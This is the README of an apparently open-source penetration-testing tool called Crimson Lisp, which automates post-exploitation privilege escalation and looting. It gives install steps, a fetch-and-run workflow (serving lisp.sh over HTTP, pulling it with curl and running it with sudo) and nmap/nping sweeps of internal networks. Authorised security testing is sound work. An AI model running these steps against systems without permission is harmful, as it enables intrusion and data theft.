Crimson Lisp is a tool that automates post-exploitation
PRIVILEGE ESCALATION
&LOOTING
phases. It uses many open source tools. Most of them are available for download from GitHub.
git clone https://github.com/Karmaz95/crimson_lisp.git
chmod +x update.sh
./update.sh
If hosted from Windows, convert the line endings of the script file from Windows-style (CRLF) to Unix-style (LF):
dos2unix tools/les.sh tools/linpeas.sh lisp.sh update.sh
Using VScode:
1. Open the script file in Visual Studio Code.
2. Look at the bottom right corner of the editor. You should see a label that displays the current line endings used in the file. It should either say "CRLF" or "LF".
3. Click on the label and select "LF". This will change the line endings of the file to Unix-style.
4. Save the file by going to File > Save.
cd crimson_lisp
sudo python3 -m http.server 80
curl -s -k http://127.0.0.1/lisp.sh -o lisp.sh; chmod +x lisp.sh
./lisp.sh -u "http://127.0.0.1/"
./lisp.sh -e
sudo ./lisp.sh -l
./nping INTERNAL_IP/24
./run-nmap.sh -Pn INTERNAL_IP -p- --append-output -oA all_ports_scan
./run-nmap.sh -Pn 172.22.11.1/24 --top-ports 1000 --append-output -oA AD_ports
If you are curious about how it works, read my blog:
The following tools are used in
Crimson Lisp
. I encourage you to study the links below. They will help you in your work.
This program is free software: you can redistribute it and/or modify it under the terms of the Apache License. Crimson Lisp and any contributions are Copyright © by Karol Mazurek 2022.
You can support the project by buying me a coffee or via NFT which unlock the secret Crimson Web community.